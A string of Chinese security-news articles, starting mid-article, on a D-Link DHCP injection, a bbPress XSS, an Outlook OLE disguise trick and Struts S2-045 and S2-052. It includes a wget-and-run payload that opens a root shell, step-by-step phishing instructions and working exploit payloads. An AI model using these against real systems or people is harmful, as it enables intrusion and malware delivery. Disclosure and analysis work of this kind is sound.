Socket/fallback/fallback-net rasp-pwn-dlink#

    开机后发送DHCP请求,路由器会与WAN远程HTTP服务器发起连接:

    rasp-pwn-dlink# tail -f /var/log/nginx/access.log 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"

    来自WANtelnetd:

    rasp-pwn-dlink# telnet 10.254.239.10 110 Trying 10.254.239.10... Connected to 10.254.239.10. Escape character is '^]'.   BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.  # uname -ap Linux dlinkrouter 2.6.30.9 #1 Fri Jan 20 14:12:50 CST 2017 rlx GNU/Linux # cd /var # ls -la drwxr-xr-x    5 root     root            0 Jan  1 00:00 etc drwxr-xr-x    2 root     root            0 Jan  1  1970 log drwxr-xr-x    3 root     root            0 Jan  1 00:00 run drwxr-xr-x    2 root     root            0 Jan  1  1970 sealpac drwxr-xr-x    4 root     root            0 Jan  1 00:00 tmp drwxr-xr-x    2 root     root            0 Jan  1  1970 dnrd drwxr-xr-x    4 root     root            0 Jan  1  1970 htdocs -rw-r--r--    1 root     root           10 Jan  1  1970 TZ drwxr-xr-x    2 root     root            0 Jan  1 00:00 servd -rw-r--r--    1 root     root         5588 Jan  1  1970 default_wifi.xml -rw-rw-rw-    1 root     root           28 Jan  1 00:00 passwd drwxrwx---    2 root     root            0 Jan  1 00:00 session srwxr-xr-x    1 root     root            0 Jan  1 00:00 gpio_ctrl -rw-r--r--    1 root     root            2 Jan  1 00:00 sys_op drwxr-xr-x    2 root     root            0 Jan  1 00:00 home lrwxrwxrwx    1 root     root           16 Jan  1 00:00 portal_share -> /var/tmp/storage drwxr-xr-x    3 root     root            0 Jan  1 00:00 proc -rwxr-xr-x    1 root     root          856 Jan  1 00:00 killrc0 drwxr-xr-x    2 root     root            0 Jan  1 00:00 porttrigger -rw-r--r--    1 root     root          383 Jan  1 00:00 re -rwxrwxrwx    1 root     root        10520 Jan  1 00:00 telnetd-dhcpd-wan -rw-rw-rw-    1 root     root          301 Jan  1 00:00 rendezvous.conf -rw-rw-rw-    1 root     root          523 Jan  1 00:00 stunnel.conf -rw-rw-rw-    1 root     root          282 Jan  1 00:00 topology.conf -rw-rw-rw-    1 root     root          394 Jan  1 00:00 lld2d.conf -rw-r--r--    1 root     root          199 Jan  1 00:00 hosts drwxr-xr-x   16 root     root          241 Jan 20  2017 .. drwxr-xr-x   14 root     root            0 Jan  1 00:00 . # cat re #!/bin/sh  wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd chmod 777 /var/telnetd-dhcpd-wan (for i in 0 1 2 3; do # win races against legit iptables rules iptables -F         iptables -X iptables -t nat -F iptables -t nat -X iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT sleep 10  done ) & /var/telnetd-dhcpd-wan -l /bin/sh -p 110 &  #

    还有一些WAN RCEs,首先第一个就是 /etc/services/INET/inet_ipv4.php存在漏洞

    $udhcpc_helper = “/var/servd/”.$inf.”-udhcpc.sh”;

    101行之后存在命令注入漏洞

     99     fwrite(w,$udhcpc_helper,  100                 '#!/bin/sh/n'. 101                 'echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... > /dev/console/n'. 102                 'phpsh '.$hlper.' ACTION=$1'. 103                         ' INF='.$inf. 104                         ' INET='.$inet. 105                         ' MTU='.$mtu. 106                         ' INTERFACE=$interface'. 107                         ' IP=$ip'. 108                         ' SUBNET=$subnet'. 109                         ' BROADCAST=$broadcast'. 110                         ' LEASE=$lease'. 111                         ' "DOMAIN=$domain"'. 112                         ' "ROUTER=$router"'. 113                         ' "DNS='.$dns.'$dns"'. 114                         ' "CLSSTROUT=$clsstrout"'. 115                         ' "MSCLSSTROUT=$msclsstrout"'. 116                         ' "SSTROUT=$sstrout"'. 117                         ' "SCOPE=$scope"'. 118                         ' "WINSTYPE=$winstype"'. 119                         ' "WINS=$wins"'. 120                         ' "SIXRDPFX=$sixrd_prefix"'. 121                         ' "SIXRDPLEN=$sixrd_prefixlen"'. 122                         ' "SIXRDMSKLEN=$sixrd_msklen"'. 123                         ' "SIXRDBRIP=$sixrd_bripaddr"'. 124                         ' "SDEST=$sdest"'. 125                         ' "SSUBNET=$ssubnet"'. 126                         ' "SROUTER=$srouter"/n'. 127                 'exit 0/n' 128                 );

    ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; 可以注入对 /var/servd/一些生成的文件进行注入。

    # cat /var/servd/DHCPS4.LAN-1_start.sh #!/bin/sh rm -f /var/servd/LAN-1-udhcpd.lease xmldbc -X /runtime/inf:1/dhcps4/leases xmldbc -s /runtime/inf:1/dhcps4/pool/start 192.168.0.100 xmldbc -s /runtime/inf:1/dhcps4/pool/end 192.168.0.199 xmldbc -s /runtime/inf:1/dhcps4/pool/leasetime 604800 xmldbc -s /runtime/inf:1/dhcps4/pool/network 192.168.0.1 xmldbc -s /runtime/inf:1/dhcps4/pool/mask 24 xmldbc -s /runtime/inf:1/dhcps4/pool/domain ;wget -O /var/re http
    ://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection xmldbc -s /runtime/inf:1/dhcps4/pool/router 192.168.0.1 event UPDATELEASES.LAN-1 add "@/etc/events/UPDATELEASES.sh LAN-1 /var/servd/LAN-1-udhcpd.lease" udhcpd /var/servd/LAN-1-udhcpd.conf & exit 0 exit 0 #  # cat /var/servd/DHCPS4.LAN-2_start.sh #!/bin/sh rm -f /var/servd/LAN-2-udhcpd.lease xmldbc -X /runtime/inf:2/dhcps4/leases xmldbc -s /runtime/inf:2/dhcps4/pool/start 192.168.7.100 xmldbc -s /runtime/inf:2/dhcps4/pool/end 192.168.7.199 xmldbc -s /runtime/inf:2/dhcps4/pool/leasetime 604800 xmldbc -s /runtime/inf:2/dhcps4/pool/network 192.168.7.1 xmldbc -s /runtime/inf:2/dhcps4/pool/mask 24 xmldbc -s /runtime/inf:2/dhcps4/pool/domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection xmldbc -s /runtime/inf:2/dhcps4/pool/router 192.168.7.1 event UPDATELEASES.LAN-2 add "@/etc/events/UPDATELEASES.sh LAN-2 /var/servd/LAN-2-udhcpd.lease" udhcpd /var/servd/LAN-2-udhcpd.conf & exit 0 exit 0 #

    *本文译者:ang010ela,参考资料https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html,转载请注明来自1024rd.COM

  • 安全预警:WordPress论坛插件bbPress存在存储型XSS漏洞,影响修复版本2.5.9以前所有版本

    安全预警:WordPress论坛插件bbPress存在存储型XSS漏洞,影响修复版本2.5.9以前所有版本

    近日,WordPress母公司Automattic发布了bbPress 2.5.9版本,在这个官方的WordPress论坛插件的最新版本中,修复了一个威胁程度较高的存储型XSS漏洞,影响范围包括现有的bbPress版本,即版本< 2.5.9的皆会受到影响

    根据来自WordPress.org的统计数据,当前已有超过 30万站点使用了该插件。而据悉,该漏洞是一个存储型XSS漏洞,此类漏洞与反射型XSS漏洞,并称为XSS的两大类型漏洞。我们知道,在存储型XSS漏洞中,攻击者可以利用漏洞于Web平台中植入恶意代码,而恶意代码会被存储于后台或数据库中,随后其他用户访问受影响页面时,便会执行攻击者此前植入的恶意代码,从而实现跨站的攻击。

    该XSS 漏洞存在于插件的用户提及功能中

    在这个案例中,一开始来自Sucuri的安全研究人员称其发现一种方法,攻击者通过用户提及功能(即@用户名,而bbPress的用户提及功能能够将@用户名替换成另外一个链接,创建了一个嵌套链接的HTML结构。),可在论坛文章中存储恶意代码。而这些文章会被存在到数据库中,后面会展示给随后的访问者。如果攻击者有着更加成熟的技术,可通过这种方法从版主或者管理员处窃取cookies,以管理员身份进行操作,实现提权。

    技术细节

    在 WordPress中,所有文章和回复的内容会通过 WordPress的 wp_kses()函数进行过滤,而该函数执行着一个白名单机制,允许HTML 标签及其属性通过过滤引擎,如“a“标签以及其中的“href”属性等。以下为过滤的机制,

    安全预警:WordPress论坛插件bbPress存在存储型XSS漏洞,影响修复版本2.5.9以前所有版本

    接着我们可以看到,其中有个bbp_mention_filter过滤函数,该函数便是对用户提及功能进行过滤,其具体实现代码如下,

    安全预警:WordPress论坛插件bbPress存在存储型XSS漏洞,影响修复版本2.5.9以前所有版本

    上述代码执行流程如下,

    1、首先调用bbp_find_mentions函数,搜索文章内容中存在的用户提及关键符号“@”,通过以下正则来实现,

    /[@]+([A-Za-z0-9-_/.@]+)/b/

    然后搜索完成后,返回搜索结果。

    2、对于每一个搜索到的结果,则检查是否有与它相匹配的用户,以及该用户是否在线。

    3、通过上述两个步骤,接下来便会在后台程序中将提及的用户名,替换为一个HTML超链接标签,可链接到用户的个人页面中去。

    实际上,它并没有检测提及的用户名是否存在于一个HTML标签属性中。而为了更加直观的说明这个问题,我们假设现在有个用户,其名称为“test”,在某篇文章中回复了一个包含超链接标签的评论,并将其中的“href”属性设置为@test,具体如下,

    <a href="@test">link</a>

    然后接下来按照流程,会将@用户名替换成超链接标签,具体如下,

    <a href="<a href="http://targetsite/test/profile/" rel="nofollow">test</a>">link</a>

    正如你看到的一样,此前回复中的超链接标签的双引号顺序便被打破了,而攻击者正可以利用这个机会插入恶意代码,实现跨站攻击。

    漏洞处置时间表

    4月12日:Sucuri安全团队向bbPress的管理者报告了该漏洞;

    5月2日:bbPress 2.5.9修复版本发布,并已解决该问题;

    5月3日:Sucuri安全团队发布漏洞细节。

    如有安装此插件的用户,需尽快升级版本,保证站点安全性,降低遭受攻击风险。

    *参考来源:softpediasucuri,FB小编troy编译,转载请注明来自1024rd黑客与极客(1024rd.COM)

  • OLEOutlook利用:一封邮件绕过所有企业安全防控

    在本文中,我会向大家展示如何通过Email将一个可执行文件嵌入到公司网络。伪装成一份Word文档,绕过防火墙,目前该问题还没有任何补丁发布!

    OLEOutlook利用:一封邮件绕过所有企业安全防控

    今天早些时候,我写OLE Package还是packager.dll的时候,一个Windows特性回溯到Windows 3.1,在之后的Windows版本中也存在,它允许在文档中嵌入任何内容!

    当时我就强调,你可以将恶意内容放到Word文档,再转换成富文本格式来绕过大多数企业邮件过滤系统。

    Microsoft Outlook.

    没错,Microsoft Outlook从2003版本起就开始支持OLE Package。默认情况下Outlook,通过Email接收的OLE Package是不允许打开可执行代码的。你无法点击图标

    这项策略非常伟大!

    但是,如果你将该邮件保存为.msg文件,然后将其作为邮件的附件,用户就可以打开这个包了!

    到目前为止我尝试了所有魔力象限(Magic Quadrant)所列举的邮件过滤解决方案,没有一款能够检测到其中内容。

    编译Package

    你需要:

    Microsoft Outlook 2003之后版本, 包括 Outlook 2016。

    你需要打开一个新的电子邮件,最大化窗口,之后单击插入 -> 对象 -> 向下滚动找到Package。然后选择你想要嵌入的内容,这里我们以Windows计算器为例:

    OLEOutlook利用:一封邮件绕过所有企业安全防控

    现在单击文件 -> 另存为,给它取一个名称,例如testing.msg

    然后新建一个邮件,告诉用户记得查看附件,将testing.msg作为附件增加到邮件中,并发送给公司的员工。

    用户接收到邮件,如果他打开testing.msg文件,就会打开可执行文件,以及你在其中写下的提示!

    没事,我们的防御系统能够阻止

    这个脸是打的不要不要的,例如交换层保护装置守护使(SOPHOS),纯消息策略就无法应用到OLE Packages中,如果你过滤掉.exe文件,他也只能眼睁睁的看着你从眼前飘过!Outlook自身对于OLE Packages也会忽略危险文件类型,并故作从容的允许它轻松的打开。

    OLEOutlook利用:一封邮件绕过所有企业安全防控

    更糟糕的是Outlook.exe作为中等完整性运行,并生成可执行文件(或批处理文件,或者其他你嵌入的内容)都是中等完整性,所以你就跳出了Outlook以及Windows的沙盒的保护。

    做事要有始有终

    接下来便是用一个警告标志来替换calc.exe。

    在Outlook中你无法点击“作为图标显示”复选框,这就需要你改变图标和描述了…

    除了Outlook 2013,你可以转换HTML消息格式转换为富文本格式,然后返回插入 -> Package

    勾选“显示为图标”选项,然后选择一个新的图标—— Winword.exe和Excel.exe都是很好的选择,之后在下面窗口重命名附件,例如invoice.docx。

    OLEOutlook利用:一封邮件绕过所有企业安全防控

    然后将消息类型换回HTML(重要),然后保存邮件:

    OLEOutlook利用:一封邮件绕过所有企业安全防控

    在上面的例子中,通过安全提醒盲目的你打开了Invoice.docx,之后弹出了Firefox安装程序

    保护

    3个途径:

    其一便是应用白名单,然而对于嵌入的签名的带参数可执行文件要非常小心了。例如许多微软数字签名工具就可以拿来作为其他内容的跳板,由于是微软的签名,可能你现在对那些签名是信认的不能再信任了。

    其二为你的Office版本部署注册表ShowOLEPackageObj键值,默默的禁止Outlook中的OLE Package函数。这里没有更全面的禁用方法,然而攻击者依旧可以在Word, Excel以及PowerPoint中嵌入恶意内容。

    OLEOutlook利用:一封邮件绕过所有企业安全防控

    其三是EMET,如果你运行Microsoft EMET(或者像Palo-Alto TRAPS的类似产品),可以为Outlook.exe增加以下规则:

    <Mitigation Name="ASR" Enabled="true">         <asr_modules>packager.dll</asr_modules>       </Mitigation>

    通过阻止packager.dll,你是可以粗暴的解决该问题!

    总结

    该问题需要Microsoft好生去整理,这里没有办法阻止用户跳出沙盒保护或者控制,点击一个用Word图标伪装的Invoice.docx文件,之后生成未知的代码。

    问答时间

    Q:你今天讲的不就是BadWinmail (CVE-2015–6172 MS15–131 KB3116111)么?可参考《Microsoft Outlook曝严重漏洞,可导致远程代码执行

    A:不,这是一个不同于Haifei所发现的问题

    Q:你可以提供一份预先构建好的测试文件么?

    A:完全可以,看看这份文件。其仅打开Firefox安装程序(官方版本),你看将其作为邮件附件发送给你的同事,似乎这才是最好的诠释方式!

    *参考来源:Kevin Beaumont,编译/FB小编鸢尾,转载请注明来自1024rd黑客与极客(1024rd.COM)

  • 【漏洞预警】Apache Struts2 曝任意代码执行漏洞 (S2-045,CVE-2017-5638)

    【漏洞预警】Apache Struts2 曝任意代码执行漏洞 (S2-045,CVE-2017-5638)

    1024rd上次曝Struts 2的漏洞已经是半年多以前的事情了。这次的漏洞又是个RCE远程代码执行漏洞。简单来说,基于Jakarta Multipart解析器进行文件上传时,利用漏洞可进行远程代码执行。 该漏洞由安恒信息Nike Zheng上报。

    Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。

    漏洞编号

    CVE-2017-5638

    漏洞简介

    Struts使用的Jakarta解析文件上传请求包不当,当远程攻击者构造恶意的Content-Type,可能导致远程命令执行。

    实际上在default.properties文件中,struts.multipart.parser的值有两个选择,分别是jakarta和pell(另外原本其实也有第三种选择cos)。其中的jakarta解析器是Struts 2框架的标准组成部分。默认情况下jakarta是启用的,所以该漏洞的严重性需要得到正视。

    影响范围

    Struts 2.3.5 – Struts 2.3.31

    Struts 2.5 – Struts 2.5.10

    修复方案

    如果你正在使用基于Jakarta的文件上传Multipart解析器,请升级到Apache Struts 2.3.32或2.5.10.1版;或者也可以切换到不同的实现文件上传Multipart解析器。

    漏洞盒子流行漏洞检测网藤风险感知 已支持对该漏洞的检测,申请免费使用

    漏洞PoC

    import requests

    import sys

    def poc(url):

        payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"

        headers = {}

        headers["Content-Type"] = payload

        r = requests.get(url, headers=headers)

        if "105059592" in r.content:

            return True

        return False

    if __name__ == '__main__':

        if len(sys.argv) == 1:

            print "python s2-045.py target"

            sys.exit()

        if poc(sys.argv[1]):

            print "vulnerable"

        else:

            print "not vulnerable"

    * 参考来源:Apache,转载请注明来自1024rd.COM

  • 三星Galaxy手机输入法曝高危漏洞,攻击者可监控用户摄像头、短信以及安装恶意程序

    三星Galaxy手机输入法曝高危漏洞,攻击者可监控用户摄像头、短信以及安装恶意程序

    三星Galaxy手机近日曝高危漏洞,黑客可暗中监控用户的摄像头和麦克风,读取输入和传出的短信以及安装恶意应用程序,影响全球超过6亿三星手机用户。技术分析报告点我

    漏洞描述

    该漏洞存在于三星定制版SwiftKey输入法的更新机制中,运用于三星Galaxy S6,S5,以及其他几个Galaxy系列手机中。当下载更新软件时,三星设备并不会对该可执行文件进行加密处理,这就使得攻击者有机会修改其上行流量(如位于同一个Wi-Fi网络的),用恶意攻击载荷来替代合法的文件。该漏洞是在周二的伦敦黑帽安全大会上被一名来自nowsecure安全公司的研究员-Ryan威尔顿所证实的。

    手机预装的三星输入法,为三星定制版SwiftKey,其会定期查询授权服务器对于键盘APP以及其他附加的语言包是否有效可用。攻击者在中间人的位置可以冒充服务器并发送一个包含恶意有效载荷的响应,使其注入到一个语言包更新程序中。因为三星手机为更新程序提供了特殊的提升权限,因此恶意有效载荷就能够有效避开保护系统,进入谷歌的Android操作系统,。

    令人惊讶的是,在键盘更新过程中ZIP存档文件的发送并不是通过传输层安全加密进行保护的,因此极易受到中间人的篡改。系统设计者要求将这个文件的内容与之前发送到手机上的清单文件进行匹配,但这个要求对于安全并没有起到有效的意义。根据这个解决措施,Welton给易受攻击的手机发送了冒充的清单文件,其中包含恶意有效载荷的SHA1 hash。他还提供了很多有关潜在漏洞方面的细节等等。

    Welton称无论手机配置什么样的键盘,漏洞都是存在的——即使不用三星的输入法键盘,攻击仍然可能发生。在攻击实践方面,利用这个漏洞对于攻击者来说需要耐心,因为他们必须等待更新机制启动时,或是手机开启,以及间隔时段才可以进行攻击。

    影响范围
    Welton说他已经确认该漏洞主要活跃在三星Galaxy S6的Verizon和Sprint网络,Galaxy S5的T-Mobile,以及Galaxy S4 Mini的AT&T。据报道Welton已经向三星,谷歌,以及美国CERT提出此漏洞,该漏洞被命名为“CVE-2015-2865”。这个漏洞的源头在SwiftKey提供的软件开发工具包中,但它也涉及到三星在其Galaxy系列手机中实现它的方式。

    三星Galaxy手机输入法曝高危漏洞,攻击者可监控用户摄像头、短信以及安装恶意程序

    官方声明

    在一份电子声明中,SwiftKey官方写道:

    “我们已经看到关于使用SwiftKey SDK的三星库存键盘的安全问题报告。我们可以保证,SwiftKey键盘APP在谷歌Play store或苹果APP store都可以使用,并不受此漏洞的影响。我们非常重视这方面的报道,目前正在进一步调查。”

    研究人员称,三星已向移动网络运营商提供了一个补丁,但他无法了解这些主要的运营商是否应用了此补丁。正如ARS在之前已经报道过,运营商一直未能及时提供安全更新。

    *作者:晶颜123,翻译整理自ars technica,转载须注明来自1024rd黑客与极客(1024rd.COM)

  • S2-052从Payload到执行浅析

    近期曝光的S2-052漏洞备受瞩目,之前的struts版本只要开启了rest插件都有可能会受到影响,网上已经公开的POC已经包含了能够进行远程攻击的payload,该payload实际上是marshallsec利用XStream中的ImageIO gadget生成的XML。本文会介绍从payload生成到执行的整个流程。

    本次实验分析的jdk版本为1.8。

    生成payload

    payload的生成过程非常简单:

    git clone https://github.com/mbechler/marshalsec.git mvn clean package -DskipTests java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc 

    生成的payload如下:

    <map>   <entry>     <jdk.nashorn.internal.objects.NativeString>       <flags>0</flags>       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">         <dataHandler>           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">             <is class="javax.crypto.CipherInputStream">               <cipher class="javax.crypto.NullCipher">                 <initialized>false</initialized>                 <opmode>0</opmode>                 <serviceIterator class="javax.imageio.spi.FilterIterator">                   <iter class="javax.imageio.spi.FilterIterator">                     <iter class="java.util.Collections$EmptyIterator"/>                     <next class="java.lang.ProcessBuilder">                       <command>                         <string>calc</string>                       </command>                       <redirectErrorStream>false</redirectErrorStream>                     </next>                   </iter>                   <filter class="javax.imageio.ImageIO$ContainsFilter">                     <method>                       <class>java.lang.ProcessBuilder</class>                       <name>start</name>                       <parameter-types/>                     </method>                     <name>foo</name>                   </filter>                   <next class="string">foo</next>                 </serviceIterator>                 <lock/>               </cipher>               <input class="java.lang.ProcessBuilder$NullInputStream"/>               <ibuffer></ibuffer>               <done>false</done>               <ostart>0</ostart>               <ofinish>0</ofinish>               <closed>false</closed>             </is>             <consumed>false</consumed>           </dataSource>           <transferFlavors/>         </dataHandler>         <dataLen>0</dataLen>       </value>     </jdk.nashorn.internal.objects.NativeString>     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>   </entry>   <entry>     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>   </entry> </map> 

    过程分析

    1. 寻找xml解释器

    当payload发送到存在漏洞的struts服务端时,可以看到会调用到XStreamHandler类的toObject方法将xml转化成对象。

    S2-052从Payload到执行浅析

    在调用XStreamHandler的toObject方法之前,RestActionInvocation会读取struts-plugin.xml中的解释器并遍历来寻找能够解析输入的Interceptor,直到找到rest库中的ContentTypeInterceptor类(第17次找到rest,对应于下图的16项)。

    S2-052从Payload到执行浅析

    2. 解析XML

    首先给出比较重要的调用过程:

    toObject, XStreamHandler   fromXML, XStream     ...       start, TreeUnmarshaller // 真正开始解析XML,识别类并转化成对象         ...           unmarshal, MapConverter // 开始解析顶层的Map对象             populateMap, MapConverter               putCurrentEntryInfoMap, MapConverter // 解析第一对Entry,即<key, value>结构                 key = readItem // 生成jdk.nashorn.internal.objects.NativeString对象                   readClassType  // 读取key的类型,即jdk.nashorn.internal.objects.NativeString                   ConvertAnother // 递归解析对象                     .....                 value = readItem                 put(key, value), HashMap // 将解析的key,value对象添加到HashMap中                   putVal, HashMap                      hash(key), HashMap  // 对key计算hash                        key.hashCode, NativeString                           getStringValue, NativeString                             toString, Base64Data //调用value的toString方法                               get, Base64Data                                 readFrom, ByteArrayOutputStreamEx                                   read, CipherInputStream                                     getMoreData, CipherInputStream                                       update, NullCipher                                         chooseFirstProvider, NullCipher                                           next, FilterIterator                                             advance, FilterIterator                                               filter, FilterIterator                                                 method.invoke // ProcessBuilder.start() 

    总结一下就是XStream会完成NativeString对象(map第一个键值对)的正常解析,但是当把键值对添加到HashMap对象中时,会计算key (NativeString) 的hash值,也就是对NativeString的value计算hash,但是value的类型并不是String,而是Base64Data,调用Base64Data的toString方法会引发接下来的一系列调用,最终导致命令执行。

    下面针对其中的调用过程进行追踪:

    2.1 key对象解析

    ContentTypeInterceptor的intercept方法会获取能够解析request内容的handler,并调用handler的toObject方法。

    public String intercept(ActionInvocation invocation) throws Exception {         HttpServletRequest request = ServletActionContext.getRequest();         ContentTypeHandler handler = this.selector.getHandlerForRequest(request); // XStreamHandler         Object target = invocation.getAction();         if(target instanceof ModelDriven) {             target = ((ModelDriven)target).getModel();         } ​         if(request.getContentLength() > 0) {             InputStream is = request.getInputStream();             InputStreamReader reader = new InputStreamReader(is);             handler.toObject(reader, target); // XStreamHandler.toObject         } ​         return invocation.invoke();     } 

    XStreamHandler则会调用XStream类的fromXML方法,将Reader对象中的内容转换成target对象。

    public void toObject(Reader in, Object target) {         XStream xstream = this.createXStream();         xstream.fr
    omXML(in, target);     } 

    struts官方发布的新版本也正是在这里进行了修改,新版本的相关方法如下:

    public void toObject(ActionInvocation invocation, Reader in, Object target) {     XStream xstream = CreateXStream(invocation);     xstream.fromXML(in, target); } ​ protected XStream createXStream(ActionInvocation invocation){   XStream stream = new XStream();   stream.addPermission(NoTypePermission.None);   addPerActionPermission(invocation, stream);   addDefaultPermissions(invocation, stream);   return stream; } 

    针对每个action对创建的xstream流对象进行了权限控制,只允许对指定的类进行解析。

    S2-052从Payload到执行浅析

    从XStream的toObject方法开始,直到TreeUnmarshaller的start方法才开始解析XML结构:

     public Object start(DataHolder dataHolder) {         this.dataHolder = dataHolder;         Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);   // java.util.Map         Object result = this.convertAnother((Object)null, type);         Iterator validations = this.validationList.iterator(); ​         while(validations.hasNext()) {             Runnable runnable = (Runnable)validations.next();             runnable.run();         } ​         return result;     } 

    start方法首先读取reader的顶级标签类,此时type对应顶层的标签,也就是 java.uti.Map接口。之后进入到ConvertAnother方法:

     public Object convertAnother(Object parent, Class type, Converter converter) {         type = this.mapper.defaultImplementationOf(type); // java.util.HashMap         if(converter == null) {             converter = this.converterLookup.lookupConverterForType(type);         } else if(!converter.canConvert(type)) {             ConversionException e = new ConversionException("Explicit selected converter cannot handle type");             e.add("item-type", type.getName());             e.add("converter-type", converter.getClass().getName());             throw e;         } ​         return this.convert(parent, type, converter);     } 

    convertAnother方法首先会找到该类对应的具体实现类,java.util.Map变成java.util.HashMap类,然后去寻找合适的转换器,对应于HashMap类找到的converter为MapConverter,通过子类父类的方法调用,最后会执行到MapConvert的unmarshal方法

    S2-052从Payload到执行浅析

    MapConverter的unmarshal方法会调用populateMap对XML结构进行解析,populateMap又会调用putCurrentEntryInfoMap来不断读取每一对标签中的内容,作为一个组合。

     protected void putCurrentEntryIntoMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, Map target) {         reader.moveDown();         Object key = this.readItem(reader, context, map);         reader.moveUp();         reader.moveDown();         Object value = this.readItem(reader, context, map);         reader.moveUp();         target.put(key, value);     }  protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {         Class type = HierarchicalStreams.readClassType(reader, this.mapper());         return context.convertAnother(current, type);     } 

    对key和value对象的解析会调用readItem方法,该方法与TreeUnmarshaller的start方法类似,都是读取类型,然后根据该类型转换成对应的对象。最终解析完成之后第一个entry的key会转换成NativeString对象,该对象的value字段为Base64Data对象。key的解析结果如下:

    S2-052从Payload到执行浅析

    2.2 命令执行

    key对象的转换过程只是一个填充对象字段的过程,不涉及命令执行。当对key和value的解析过程完成,接下来调用target.put(key, value),将键值对加入到HashMap中。该方法会对key计算hash,调用key.hashCode方法,即 NativeString的hashCode方法。

    public V put(K key, V value) {         return putVal(hash(key), key, value, false, true);     } ​ static final int hash(Object key) {         int h;         return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);     } 

    NativeString的hashCode方法首先调用getStringValue获取value的string值,再调用String的hashCode方法。

    public int hashCode() {         return this.getStringValue().hashCode();     } ​     private String getStringValue() {         return this.value instanceof String?(String)this.value:this.value.toString();     } 

    在getStringValue的调用过程中,由于value是Base64Data类型而不是String类型,因此会调用value的toString方法,即Base64Data的toString方法转换成String对象。

    S2-052从Payload到执行浅析

    public String toString() {         this.get();         return DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen);     }  public byte[] get() {         if(this.data == null) {             try {                 ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);                 InputStream is = this.dataHandler.getDataSource().getInputStream(); // CipherInputStream                 baos.readFrom(is); // in                 is.close();                 this.data = baos.getBuffer();                 this.dataLen = baos.size();             } catch (IOException var3) {                 this.dataLen = 0;             }         } ​         return this.data;     } 

    Base64Data的toString方法会调用get方法获取数据,get方法又会从Base64的InputStream流中读取数据,执行到ByteArrayOutputStreamEx的readFrom方法。

    public void readFrom(InputStream is) throws IOException {         while(true) {             if(this.count == this.buf.length) {                 byte[] data = new byte[this.buf.length * 2];                 System.arraycopy(this.buf, 0, data, 0, this.buf.length);                 this.buf = data;             } ​             int sz = is.read(this.buf, this.count, this.buf.length - this.count); // read here             if(sz < 0) {                 return;             } ​             this.count += sz;         }     } 

    其中的is成员是CipherInputStream对象,执行is.read也就是调用CipherInputStream类的read方法。payload中CipherInputStream对象的ostart为0 (0), ofinish也为0 (0) ,满足if条件,因此会执行get
    MoreData方法。

    S2-052从Payload到执行浅析

     public int read(byte[] var1, int var2, int var3) throws IOException {         int var4;         if(this.ostart >= this.ofinish) {             for(var4 = 0; var4 == 0; var4 = this.getMoreData()) {                 ;             }         ......  }    private int getMoreData() throws IOException {         if(this.done) {             return -1;         } else {             int var1 = this.input.read(this.ibuffer);             if(var1 == -1) {                 ......             } else {                 try {                     this.obuffer = this.cipher.update(this.ibuffer, 0, var1);                 } catch (IllegalStateException var4) {                     this.obuffer = null;                     throw var4;                 }                 ......             }         }     } 

    CipherInputStream的done为False,再看下input的read方法,即NullInputStream类的read方法:

    public int read(byte b[]) throws IOException {         return read(b, 0, b.length);     }   public int read(byte b[], int off, int len) throws IOException {         if (b == null) {             throw new NullPointerException();         } else if (off < 0 || len < 0 || len > b.length - off) {             throw new IndexOutOfBoundsException();         } else if (len == 0) {             return 0;         }         ......   } 

    参数b是CipherInputStream的ibuffer成员,是一个length为0的byte数组,相当于调用read(byte [0], 0, 0),read返回值为0。继续回到getMoreData,var1为0,执行到cipher的update方法,即NullCipher的update方法,参数分别为byte[0], 0, 0

